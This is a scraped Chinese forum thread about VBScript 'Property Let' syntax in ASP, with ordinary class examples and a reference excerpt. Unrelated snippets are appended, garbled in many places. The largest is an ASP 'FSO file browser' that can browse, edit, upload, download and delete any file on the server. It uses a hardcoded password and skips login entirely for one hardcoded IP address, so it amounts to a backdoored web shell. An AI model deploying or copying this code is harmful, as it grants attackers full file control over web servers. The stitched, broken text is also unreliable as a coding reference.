在ASP中，Public Property Let Name(ByVal vNewValue) 这句话是什么意思？

sdabce 2004-11-03 03:14:10

在ASP中，Public Property Let Name(ByVal vNewValue) 这句话是什么意思？
网上，哪里有这样的帮助，如果有，请给我一个地址，谢谢！

...全文

438 4 打赏收藏转发到动态举报

写回复

用AI写文章

4 条回复

切换为时间正序

请发表友善的回复…

发表回复

笨笨兔兔兔兔兔 2005-05-04

打赏
举报

Public Property Let Name(ByVal vNewValue)
属性值通常个get合用，我有个例子给你看看的，byval是按值传入，还有是byref按址传入，相当于C中的&

Class calendar
Dim calendarmonth, calendaryear, calendarday
Dim today
Dim table1
Dim todayw

Private Sub Class_Initialize
today = Date
Set table1 = document.getElementById("calendartable")
End Sub

Function tableclear()
rowsnum = 1
j = 0
For i = 0 To 41
table1.rows(rowsnum).cells(j).innerText = ""
j = j + 1
If j = 7 Then
j = 0
rowsnum = rowsnum + 1
End If
Next
End Function

Public Property Get thedayd()
If Len(calendarday) = 0 Then
calendarday = Day(today)
End If
theyeard = calendaryear
End Property

Public Property Let thedayd(theday)
calendarday = theday
End Property

Public Property Get theyeard()
If Len(calendaryear) = 0 Then
calendaryear = Year(today)
End If
theyeard = calendaryear
End Property

Public Property Get themonthd()
If Len(calendarmonth) = 0 Then
calendarmonth = Month(today)
End If
themonthd = calendarmonth
End Property

Public Property Let theyeard(theyear)
calendaryear = theyear
End Property

Public Property Let themonthd(themonth)
calendarmonth = themonth
End Property

Function displayDay()
Dim days, theday
Dim d
Dim rows
Dim cells
rows = 1
d = calendaryear&"-"&calendarmonth&"-"&"1"
todayw = Weekday(d)
Select Case calendarmonth
Case 1
days = 31
Case 2
days = runnian(calendaryear)
Case 3
days = 31
Case 4
days = 30
Case 5
days = 31
Case 6
days = 30
Case 7
days = 31
Case 8
days = 31
Case 9
days = 30
Case 10
days = 31
Case 11
days = 30
Case 12
days = 31
End Select
rowsnum = 1
j = todayw -1
For i = 1 To days
table1.rows(rowsnum).cells(j).innerText = i
j = j + 1
If j = 7 Then
j = 0
rowsnum = rowsnum + 1
End If
Next
End Function

Function runnian(theyear)
If theyear Mod 100 = 0 Then
If theyear Mod 4 = 0 Then
runnian = 29
Else
runnian = 28
End If
Else
If theyear Mod 4 = 0 Then
runnian = 29
Else
runnian = 28
End If
End If
End Function

Function addrecord(rowsnum, cellsnum, showday)
showday = Replace(showday, "\", "/")
showday = "file:///"&showday
table1.rows(rowsnum -1).cells(cellsnum).innerHTML = "<a href='"&showday&"'>"&table1.rows(rowsnum -1).cells(cellsnum).innerHTML&"</a>"
End Function

End Class

luckin 2005-05-03

打赏
举报

Property Let 语句
在 Class 块中，声明名称、参数和代码等，它们构成了赋值（设置）的 Property 过程的主体。

[Public | Private] Property Let name (
[arglist,] value
)
[statement]
[Exit Property]
[statement]
End Property

参数
Public

表明 Property Let 过程可以被所有脚本中的其他所有过程访问。

Private

表明 Property Let 过程只能被定义之的 Class 块内的其他过程访问。

name

Property Let 过程的名称；遵守标准的变量命名规则，区别仅仅在于其名称可以与相同 Class 块中的 Property Get 或 Property Set 过程相同。

arglist

该变量列表代表了在调用时被传递到 Property Let 过程的参数。多个参数之间用逗号隔开。Property Let 过程的每个参数的名字必须与 Property Get 过程中的相应参数相同。此外， Property Let 过程的参数比相应的 Property Get 过程总要多一个。该参数为被赋予属性的值。

value

该变量中包含要赋予属性的值。当过程被调用时，该参数将出现在调用表达式的右侧。

statement

任意的一组语句，将在 Property Let 过程的主体内执行。

注意每个 Property Let 语句必须为所定义的属性定义至少一个参数。该参数（在存在多个参数时的最后一个参数）包含了当 Property Let 语句被调用时要赋予属性的值。该参数在前面的语法中被称为value。

说明
如果未明确地使用 Public 或 Private进行指定，Property Let 过程被缺省设置为公有的，即它们对于脚本内的其他所有过程都是可见的。Property Let过程中的局部变量的值在不同的过程调用之间是不被保存的。

在其他任何过程（例如 Function 或 Property Get）的内部不能够定义 Property Let 过程。

Exit Property 语句将导致立即从 Property Let 过程中退出。程序将从调用 Property Let 过程的语句之后的点继续执行。Exit Property 语句可以出现在 Property Let 过程中的任何位置，次数不限。

与 Function 和 Property Get 过程类似，Property Let 过程是一个单独的过程，它可以接受参数，执行一系列的语句，还可以改变参数的值。不过，与Function 和 Property Get 过程不同的是，它们两者都返回一个值，而Property Let过程只能用于属性赋值表达式的左侧。

luckin 2005-05-03

打赏
举报

<%
'在 Class 块中，成员通过相应的声明语句被声明为 Private(私有成员，只能在类内部调用) 或 Public(公有成员，可以在类内外部调用) 。
'被声明为 Private 的将只在 Class 块内是可见的。被声明为 Public 不仅在 Class 块的内部是可见的，对 Class 块之外的代码也是可见的。
'没有使用 Private 或 Public 明确声明的被默认为 Public。在类的块内部被声明为 Public 的过程（Sub 或 Function）将成为类的方法。
'Public 变量将成为类的属性，同使用 Property Get、Property Let 和 Property Set 显式声明的属性一样。
'类的缺省属性和方法是在它们的声明部分用 Default 关键字指定的。
Class myClass
'//----声明（声明就是定义）myClass类的类内部（私有的[Private]）变量
Private strAuthor
Private strVersion
Private strExample

'//---------------------------定义类的事件-------------------------------//
'//----Class_Initialize()是类的初始化事件，只要一开始使用该类，首先会触发该部分的执行.
'下面我们会在该成员中初始化该类的作者和版本以在屏幕上显示一下该类已经开始了

Private Sub Class_Initialize()
strAuthor = "思源"
strVersion = "1.0"
Response.Write "<br/>myClass开始了<br/>"
End Sub
'//----Class_Terminate()是类的结束事件，只要一退出该类，就会触发该事件.
'下面我们会该事件中设定退出该类时会在屏幕上显示该类已结束了。

Private Sub Class_Terminate()
Response.Write "<br/>myClass结束了<br/>"
End Sub

'//---------------------------用户自己定义的方法-------------------------------//

'//----该方法返回一个版本信息

Public Sub Information()
Response.Write "<br/>Coding By <a href='mailto:coder@sinobe.com'>Maxid_Zen</a> @ <a href='http://www.design60s.com'>www.design60s.com</a>.<br/>"
End Sub

'//---------------------------定义类的输出属性-------------------------------//

'//----定类的属性，该属性是让用户初始化strExample变量

Public Property Let setExample(ByVal strVar)
strExample = strVar
End Property

'//---------------------------定义类的输出属性-------------------------------//

'//----定义类的属性，该属性是返回一个版本号

Public Property Get Version
Version = strVersion
End Property

'//----定义类的属性，该属性是返回该类的作者号

Public Property Get Author
Author = strAuthor
End Property

'//----定义类的属性，该属性是返回用户自定义信息

Public Property Get Example
Example = strExample
End Property

End Class
%>
<%

'//-------这里是使用该类的例子

Dim oneNewClass

Set oneNewClass = new myClass

Response.Write "作者：" & oneNewClass.Author & "<br/>"
Response.Write "版本：" & oneNewClass.Version & "<br/>"

oneNewClass.setExample = "这是一个简单类的例子"

Response.Write "用户自定义：" & oneNewClass.Example & "<br/>"

oneNewClass.Information

Set oneNewClass = Nothing

%>

sdabce 2004-11-03

打赏
举报

Vipuser = False:Boardmaster = False
这句话又是什么意思？

过程: 新建工程选择ActiveX DLL 将工程名改为:projectname 将类名改为:classname 将DLL的代码复制进去生成projectname.dll文件将projectname.dll文件复制到system32目录运行regsvr32.exe projectname.dll '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 格式: '该语句的作用是变量未定义而使用则报错 option explicit '定义私有变量 private 与属性对应的变量名 as 类型 '获取属性值 public property get 属性() as 类型属性=与属性对应的变量名 end property '设置属性值 public property let 属性(byval 形式参数名 as 类型) 与属性对应的变量名=形式参数名 end property '定义方法[有返回值] public function 方法名([形式参数名 as 类型]) [as 类型] 相关代码方法名＝返回值 end function '定义方法[无返回值] public sub 方法名([形式参数名 as 类型]) 相关代码 end sub '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 注意: 在方法中定义变量的格式只能是:dim 变量名 as 类型

个模板引擎比较方便,跟HTML结合了

php版的代码比较简单：复制代码代码如下: <?php $p=$_GET[‘p’]; $pics=file($p); for($i=0;$i< count($pics);$i++) { echo $pics[$i]; } ?> 使用方法：将文件保存成i.php上传到根目录将不能外链的图片地址改成http://你的域名p.php?p=图片地址 asp版，网上用的比较多的复制代码代码如下:<% Dim url, body, myCache url = Request.QueryString(“url”) Set myCache = new cache myCache.name = “pic

<% '========================== 版权声明 ========================= '本程序只供在需要特别处理服务器文件时使用，严禁用于非法目的 '由于非正当使用本程序而造成的一切后果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="

©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved

" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数中所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关，万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO文件浏览器 - 系统磁盘信息

FSO文件浏览器 - 系统磁盘信息

<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "value="""&oDrive.DriveLetter&":\"" ondblclick=""location.href='?page=fso&fname='+escape(this.value);""" If Islight Then Response.Write " bgcolor='#EEEEEE'" Response.Write ">" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>

盘符	类型	卷标	文件系统	总容量	可用空间
"&oDrive.DriveLetter&"	"&getDriveType(oDrive.DriveType)&"	"&oDrive.VolumeName&"	"&oDrive.FileSystem&"	"&SizeCount(oDrive.TotalSize)&"	"&SizeCount(oDrive.FreeSpace)&"

FSO文件浏览器 - 新建
类型：	value="0">文件夹 value="1">文件
名称：	value="新建">
value="提交"> value="关闭" onclick="window.close();">

<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO文件浏览器 - 新建 <script language="JavaScript"> function icheck() { if(document.rform.nname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; } <% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "<script language='javascript'>alert('文件夹不存在！');history.back();alert('文件或文件夹已存在！');history.back();alert('新建文件夹或文本文件成功！');window.close();ByVal Fname) If Not IsFile(Fname) Then Response.Write "<script language='javascript'>alert('您编辑的不是文件或文件不存在！');window.close(); FSO文件浏览器 - 编辑文本文件

FSO文件浏览器 - 编辑文本文件
文件名： <% =Fname %>
<% =Server.HtmlEncode(FileStr) %>
value="保存" class="b"> value="重置" onclick="return confirm('确定要重新编辑？');" class="b"> value="关闭" onclick="window.close();">

<% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功！" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功，请粘贴！" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切！" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹在源文件夹内,非法操作！" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存在！" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存在！" Exit Sub End If '================ EchoClose "复制或移动成功！刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存在！" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M，可能会造成服务器死机，\n不允许以Stream方式下载！\n请将该文件复制到网站目录以下\n然后以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存在" Exit Sub End If EchoClose "文件删除成功！" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If %> FSO文件浏览器 - 文件上传 <script language="JavaScript"> function getSaveName() { var filepath=document.uform.upload.value; if(filepath.length<1) return; var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length); document.uform.ffname.value=filename; }

FSO文件浏览器 - 文件上传
上传文件：
保存为：	覆盖模式
value="上传" style="width:60px" class="b" onclick="this.form.action+='&filename='+escape(this.form.ffname.value)+'&overwrite='+this.form.wmode.checked;"> value="关闭" onclick="window.close();" class="b">

<% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹！" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名！" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败！（可能是文件已存在）" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO文件浏览器 - 文件属性 <script language="javascript"> function ww(obj) { return false; }

FSO文件浏览器 - 文件属性
路径：	<% =obj.Path %>
大小：	<% =SizeCount(obj.Size) %>
属性：	value="0" onclick="return ww(this);" <% wv oAttrib.n %>>普通 value="1" <% wv oAttrib.r %>>只读 value="2" <% wv oAttrib.h %>>隐藏 value="4" <% wv oAttrib.s %>>系统 value="16" onclick="return ww(this);" <% wv oAttrib.d %>>目录 value="32" <% wv oAttrib.a %>>存档 value="1024" onclick="return ww(this);" <% wv oAttrib.al %>>链接 value="2048" onclick="return ww(this);" <% wv oAttrib.c %>>压缩
创建时间：	<% =obj.DateCreated %>
创建时间：	<% =obj.DateLastModified %>
最后访问	<% =obj.DateLastAccessed %>
value="修改" class="b"> value="关闭" onclick="window.close();" class="b">

<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在！" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性！" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功！" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存在！" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存在！" Exit Sub End If End If %> FSO文件浏览器 - 重命名 <script language="JavaScript"> function icheck() { if(document.cform.toname.value=="") { alert("请输入合法的文件名！"); return false; } else return true; }

FSO文件浏览器 - 文件更名
更名为：	value="fso"> value="saverename"> value="<% =Server.HtmlEncode(Fname) %>"> value="<% =Server.HtmlEncode(sName) %>">
value="提交"> value="关闭" onclick="window.close();">

<% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件夹更名成功！\n刷新之后即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法！" Else EchoClose "文件更名成功！\n刷新之后即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO文件浏览器 - 文件打包/解包

FSO文件浏览器 - 文件打包/解包
打包文件夹：	value="<% =vp %>">
打包到：	value="<% =Server.MapPath("/rs_pack.mdb") %>">
value="打包">
文件包路径：	value="<% =vu %>">
解包到：	value="<% =Server.MapPath("/") %>">
value="解包">

<% End Sub '文件夹内容列表 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back(); FSO文件浏览器 <script language="JavaScript"> var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹 var fselected=""; function opendial(sUrl) //打开对话框窗口 { var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400"); return newWin; } function fopen(sfname) //打开文件夹或文件 { location.href="?page=fso&fname="+escape(sfname); } function fselect(obj) //选中文件夹或文件 { var flen=document.all("f").length; for(var i=0;ivalue; } function toparent() //返回上一级文件夹 { location.href="?page=fso&act=up&fname="+escape(folderpath); } function fnew() { opendial("?page=fso&act=new&fname="+escape(folderpath)); } function frename() //重命名文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=rename&fname="+escape(fselected)); } function fdownload() //下载文件 { if(fselected=="") { alert("请选择文件！（大小在1MB以下）"); return false; } else opendial("?page=fso&act=download&fname="+escape(fselected)); } function fedit() //编辑文本文件 { if(fselected=="") { alert("请选择文件！"); return false; } else window.open("?page=fso&act=edit&fname="+escape(fselected)); } function fcopy() //复制文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=copy&fname="+escape(fselected)); } function fcut() //剪切文件 { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else opendial("?page=fso&act=cut&fname="+escape(fselected)); } function fparse() //粘贴文件或文件夹 { opendial("?page=fso&act=parse&fname="+escape(folderpath)); } function fdelete() { if(fselected=="") { alert("请选择文件或文件夹！"); return false; } else { if(!confirm("确定要删除本文件或文件夹？")) return false; else opendial("?page=fso&act=delete&fname="+escape(fselected)); } } function fprop() //属性 { var vv; if(fselected=="") vv=folderpath; else vv=fselected; window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500"); } function fpack() //打包解包 { var vp,vu; if(fselected=="") { vp=folderpath; vu=folderpath; } else { vp=fselected; vu=fselected; } window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500"); }

FSO文件浏览器

value="<% =Server.HtmlEncode(oFolder.Path) %>"> value="←转到">

<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>

文件名	类型	大小	修改时间
value="""&Server.HtmlEncode(sFolder.Path)&""">" Response.Write "0 "&Web&sFolder.Name Response.Write "	文件夹		"&sFolder.DateLastModified&"
value="""&Server.HtmlEncode(sFile.Path)&""">" Response.Write " "&sFile.Name Response.Write "	"&sFile.Type&"	"&SizeCount(sFile.Size)&"	"&sFile.DateLastModified&"